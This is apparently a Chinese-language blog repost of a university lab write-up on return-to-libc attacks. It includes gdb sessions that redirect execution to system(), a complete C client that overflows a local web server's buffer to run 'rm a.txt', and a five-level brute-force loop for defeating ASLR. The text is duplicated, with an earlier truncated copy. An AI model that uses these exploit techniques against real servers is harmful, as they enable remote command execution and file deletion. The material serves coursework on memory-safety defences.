信息安全实验二:return-to-libc
2016-03-07 19:42
204 查看
title: return-to-libc
date: 2016-01-11 17:40:30
categories: information-security
tags: return-to-libc
---
Exercise1
The Ubuntu 12.04 OS you've been using in this lab has the non-executable stack support by default.
To compile a C program, just use the -z noexecstack option to mark the stack segment non-executable.
Re-compile the vulnerable program stack2.c from lab 1:
$ make stack2
perform a buffer-overflow attack as you do in Lab1, can you succeed any more? What do you observe?
---
Exercise2
Use gdb to smash the function stack, the C program offered you here is exec3.c.
As follows:
```c
...
p system
$9=0xf7e5fe80
p/x $ebp+16
$10=0xffffd278
p/x $ebp+4
$11=0xffffd26c
set 0xffffd278=0x736c
x/s 0xffffd278
0xffffd278:"ls"
p/x $ebp+12
$12=0xffffd274
set 0xffffd274=0xffffd278
set *0xffffd26c=0xf7e5fe80
c
Return to fun!
browser.c exec3 exec3.c Makefile server stack2 stack2.c
Program received signal SIGSEGV,Segmentation fault
```
As you can see, the command system(“ls”) constructed by gdb runs smoothly, but not perfect.
What triggered the “SIGSEG” fault? Modify the process memory in gdb just like above,
to to let the process exit gracefully.
we can call exit(0) after calling system("ls")
Exercise3
try to perform a return-to-libc attack by contructing and sending a malicious request containing your shellcode.
Your shellcode can still delete a file from the web server, or can do something else.
```c
gdb调试,确定服务器s数组到$ebp的距离1056
$ebp+4存放system地址
$ebp+8存放exit地址
$ebp+12存放"rm a.txt"地址
构造req数组
char req[len];
memset(req,'A',len);
req[len-4]='\r';
req[len-3]='\n';
req[len-2]='\r';
req[len-1]='\n';
req[0]='r';
req[1]='m';
req[2]='\t';
req[3]='a';
req[4]='.';
req[5]='t';
req[6]='x';
req[7]='t';
req[8]='\0';
req[1060]=0x60;//system地址
req[1061]=0xe3;
req[1062]=0xe4;
req[1063]=0xb7;
req[1064]=0x50;//exit地址
req[1065]=0x11;
req[1066]=0xe4;
req[1067]=0xb7;
req[1068]=0xb8;//"rm a.txt"地址
req[1069]=0xef;
req[1070]=0xff;
req[1071]=0xbf;
运行结果,成功删除了服务器端文件a.txt
再次运行,显示文件a.txt不存在
```
完整代码browser.c
```c
{
int port = PORT;
if (argc>1)
port = atoi(argv[1]);
int sock_client = socket(AF_INET,SOCK_STREAM, 0);//sock fd
struct sockaddr_in addr;
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(port); //server port
addr.sin_addr.s_addr = inet_addr("127.0.0.1"); ///server ip address
if (connect(sock_client, (struct sockaddr *)&addr, sizeof(addr)) < 0)
{
perror("connect");
exit(1);
}
printf("sock_client = %d\n",sock_client);
#define len 1100
char req[len];
memset(req,'A',len);
req[len-4]='\r',
req[len-3]='\n',
req[len-2]='\r',
req[len-1]='\n';
req[0]='r';
req[1]='m';
req[2]='\t';
req[3]='a';
req[4]='.';
req[5]='t';
req[6]='x';
req[7]='t';
req[8]='\0';
req[1060]=0x60;
req[1061]=0xe3;
req[1062]=0xe4;
req[1063]=0xb7;
req[1064]=0x50;
req[1065]=0x11;
req[1066]=0xe4;
req[1067]=0xb7;
req[1068]=0xb8;
req[1069]=0xef;
req[1070]=0xff;
req[1071]=0xbf;
write(sock_client,req,len);
char resp[1024];
int num = 0;
while(read (sock_client, &resp[num], 1))
num++;
resp[num] = 0;
printf("Response = %s\n",resp);
close(sock_client);
return 0;
}
```
Exercise4
Now, turn on the Ubuntu’s address space layout randomization:
Try to attack the web server using buffer overflow. Can you succeed?
Where is the buffer’s address? Is it exploitable?
Exercise5
To defeat ASLR, we can use the Brute Force attack technique,
which is simple but effective in guessing the variable buffer address.
The basic idea is that although we don’t know the exact address of the buffer,
however, we know its range, say, from 0x00000000 to 0xbfffffff.
So, by trying each address in turn, we’ll hit the right address sooner or later.
爆破
完整代码browser.c
```c
{
int port = PORT;
if (argc>1)
port = atoi(argv[1]);
int sock_client;
struct sockaddr_in addr;
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(port); //server port
addr.sin_addr.s_addr = inet_addr("127.0.0.1"); //server ip address
printf("sock_client = %d\n",sock_client);
#define len 1100
char req[len];
memset(req,'A',len);
req[len-4]='\r',
req[len-3]='\n',
req[len-2]='\r',
req[len-1]='\n';
req[0]='r';
req[1]='m';
req[2]='\t';
req[3]='a';
req[4]='.';
req[5]='t';
req[6]='x';
req[7]='t';
req[8]='\0';
int sys1,sys2;
int s1,s2,s3;
int dist=1056;
req[dist+4]=0x60;
req[dist+7]=0xb7;
req[dist+15]=0xbf;
for(sys1=0x1;sys1<=0xff;++sys1)
{
for(sys2=0x1;sys2<=0xff;++sys2)
{
for(s1=0x1;s1<=0xff;++s1)
{
for(s2=0x1;s2<=0xff;++s2)
{
for(s3=0x1;s3<=0xff;++s3)
{
req[dist+5]=sys1;
req[dist+6]=sys2;
req[dist+12]=s1;
req[dist+13]=s2;
req[dist+14]=s3;
if (connect(sock_client, (struct sockaddr *)&addr, sizeof(addr)) < 0)
{
perror("connect");
exit(1);
}
write(sock_client,req,len);
close(sock_client);
}
return 0;
}
```
date: 2016-01-11 17:40:30
categories: information-security
tags: return-to-libc
---
Exercise1
The Ubuntu 12.04 OS you've been using in this lab has the non-executable stack support by default.
To compile a C program, just use the -z noexecstack option to mark the stack segment non-executable.
Re-compile the vulnerable program stack2.c from lab 1:
$ make stack2
perform a buffer-overflow attack as you do in Lab1, can you succeed any more? What do you observe?
c 不能成功 栈不可执行
---
Exercise2
Use gdb to smash the function stack, the C program offered you here is exec3.c.
As follows:
```c
...
p system
$9=0xf7e5fe80
p/x $ebp+16
$10=0xffffd278
p/x $ebp+4
$11=0xffffd26c
set 0xffffd278=0x736c
x/s 0xffffd278
0xffffd278:"ls"
p/x $ebp+12
$12=0xffffd274
set 0xffffd274=0xffffd278
set *0xffffd26c=0xf7e5fe80
c
Return to fun!
browser.c exec3 exec3.c Makefile server stack2 stack2.c
Program received signal SIGSEGV,Segmentation fault
```
As you can see, the command system(“ls”) constructed by gdb runs smoothly, but not perfect.
What triggered the “SIGSEG” fault? Modify the process memory in gdb just like above,
to to let the process exit gracefully.
we can call exit(0) after calling system("ls")
c ... p system $9=0xf7e5fe80 p exit $10=0xf7e53b60 p/x $ebp+16 $11=0xffffd278 p/x $ebp+8 $12=0xffffd270 set *0xffffd270=0xf7e53b60 p/x $ebp+4 $13=0xffffd26c set *0xffffd278=0x736c x/s 0xffffd278 0xffffd278:"ls" p/x $ebp+12 $14=0xffffd274 set *0xffffd274=0xffffd278 set *0xffffd26c=0xf7e5fe80 c Return to fun! browser.c exec3 exec3.c Makefile server stack2 stack2.c
Exercise3
try to perform a return-to-libc attack by contructing and sending a malicious request containing your shellcode.
Your shellcode can still delete a file from the web server, or can do something else.
```c
gdb调试,确定服务器s数组到$ebp的距离1056
$ebp+4存放system地址
$ebp+8存放exit地址
$ebp+12存放"rm a.txt"地址
构造req数组
char req[len];
memset(req,'A',len);
req[len-4]='\r';
req[len-3]='\n';
req[len-2]='\r';
req[len-1]='\n';
req[0]='r';
req[1]='m';
req[2]='\t';
req[3]='a';
req[4]='.';
req[5]='t';
req[6]='x';
req[7]='t';
req[8]='\0';
req[1060]=0x60;//system地址
req[1061]=0xe3;
req[1062]=0xe4;
req[1063]=0xb7;
req[1064]=0x50;//exit地址
req[1065]=0x11;
req[1066]=0xe4;
req[1067]=0xb7;
req[1068]=0xb8;//"rm a.txt"地址
req[1069]=0xef;
req[1070]=0xff;
req[1071]=0xbf;
运行结果,成功删除了服务器端文件a.txt
再次运行,显示文件a.txt不存在
```
完整代码browser.c
```c
include
include <sys/socket.h>
include <sys/types.h>
include <netinet/in.h>
include <arpa/inet.h>
include
include
include
include <sys/shm.h>
define PORT 8080
int main(int argc, char *argv[]){
int port = PORT;
if (argc>1)
port = atoi(argv[1]);
int sock_client = socket(AF_INET,SOCK_STREAM, 0);//sock fd
struct sockaddr_in addr;
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(port); //server port
addr.sin_addr.s_addr = inet_addr("127.0.0.1"); ///server ip address
if (connect(sock_client, (struct sockaddr *)&addr, sizeof(addr)) < 0)
{
perror("connect");
exit(1);
}
printf("sock_client = %d\n",sock_client);
#define len 1100
char req[len];
memset(req,'A',len);
req[len-4]='\r',
req[len-3]='\n',
req[len-2]='\r',
req[len-1]='\n';
req[0]='r';
req[1]='m';
req[2]='\t';
req[3]='a';
req[4]='.';
req[5]='t';
req[6]='x';
req[7]='t';
req[8]='\0';
req[1060]=0x60;
req[1061]=0xe3;
req[1062]=0xe4;
req[1063]=0xb7;
req[1064]=0x50;
req[1065]=0x11;
req[1066]=0xe4;
req[1067]=0xb7;
req[1068]=0xb8;
req[1069]=0xef;
req[1070]=0xff;
req[1071]=0xbf;
write(sock_client,req,len);
char resp[1024];
int num = 0;
while(read (sock_client, &resp[num], 1))
num++;
resp[num] = 0;
printf("Response = %s\n",resp);
close(sock_client);
return 0;
}
```
Exercise4
Now, turn on the Ubuntu’s address space layout randomization:
sysctl -w kernel.randomize_va_space=2
Try to attack the web server using buffer overflow. Can you succeed?
Where is the buffer’s address? Is it exploitable?
c 不能成功 地址变化
Exercise5
To defeat ASLR, we can use the Brute Force attack technique,
which is simple but effective in guessing the variable buffer address.
The basic idea is that although we don’t know the exact address of the buffer,
however, we know its range, say, from 0x00000000 to 0xbfffffff.
So, by trying each address in turn, we’ll hit the right address sooner or later.
爆破
c 打开地址随机化 打开栈不可执行 通过gdb调试多次,观察得出: &ebp地址距离s数组的距离不变,始终是1056 system地址0xbf****60 exit地址0xbf****** s地址0xbf****** 忽略程序的正常退出,通过创建5层循环,从0x00遍历到0xff 在每一次循环结束后,客户端会断开连接 在新一次循环时,客户端会再次连接
完整代码browser.c
```c
include
include <sys/socket.h>
include <sys/types.h>
include <netinet/in.h>
include <arpa/inet.h>
include
include
include
include <sys/shm.h>
define PORT 8080
int main(int argc, char *argv[]){
int port = PORT;
if (argc>1)
port = atoi(argv[1]);
int sock_client;
struct sockaddr_in addr;
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(port); //server port
addr.sin_addr.s_addr = inet_addr("127.0.0.1"); //server ip address
printf("sock_client = %d\n",sock_client);
#define len 1100
char req[len];
memset(req,'A',len);
req[len-4]='\r',
req[len-3]='\n',
req[len-2]='\r',
req[len-1]='\n';
req[0]='r';
req[1]='m';
req[2]='\t';
req[3]='a';
req[4]='.';
req[5]='t';
req[6]='x';
req[7]='t';
req[8]='\0';
int sys1,sys2;
int s1,s2,s3;
int dist=1056;
req[dist+4]=0x60;
req[dist+7]=0xb7;
req[dist+15]=0xbf;
for(sys1=0x1;sys1<=0xff;++sys1)
{
for(sys2=0x1;sys2<=0xff;++sys2)
{
for(s1=0x1;s1<=0xff;++s1)
{
for(s2=0x1;s2<=0xff;++s2)
{
for(s3=0x1;s3<=0xff;++s3)
{
req[dist+5]=sys1;
req[dist+6]=sys2;
req[dist+12]=s1;
req[dist+13]=s2;
req[dist+14]=s3;
int sock_client = socket(AF_INET,SOCK_STREAM, 0);//sock fd
if (connect(sock_client, (struct sockaddr *)&addr, sizeof(addr)) < 0)
{
perror("connect");
exit(1);
}
write(sock_client,req,len);
close(sock_client);
} } } }
}
return 0;
}
```
相关文章推荐
- 字符串(一)
- 安卓原生系统怎么进入官方Recovery,显示 无命令 的解决方法
- 各大互联网公司架构演进之路汇总
- Cpp--拷贝构造函数
- 解决jsp编写过程中换另一个jsp可以忽视登录过程
- java中Queue简介
- 信息安全实验一:buffer-overflow
- OOP作业
- DirectShow摄像头采集
- RSA 加密解密 关于javax.crypto.BadPaddingException: Blocktype错误的几种解决方法
- ubuntu操作系统安装(二) ftp
- acm56
- 第一次上机实践 项目一 宣告主权
- Linux基本命令之用户系统相关命令
- java中队列Queue的使用
- 九度OJ 1207:质因数的个数
- 从网络中获取图片显示,获取网页源码
- 如何修改java String
- 三次握手wireshark抓包分析,成功握手和失败握手
- javascript之正则表达式总结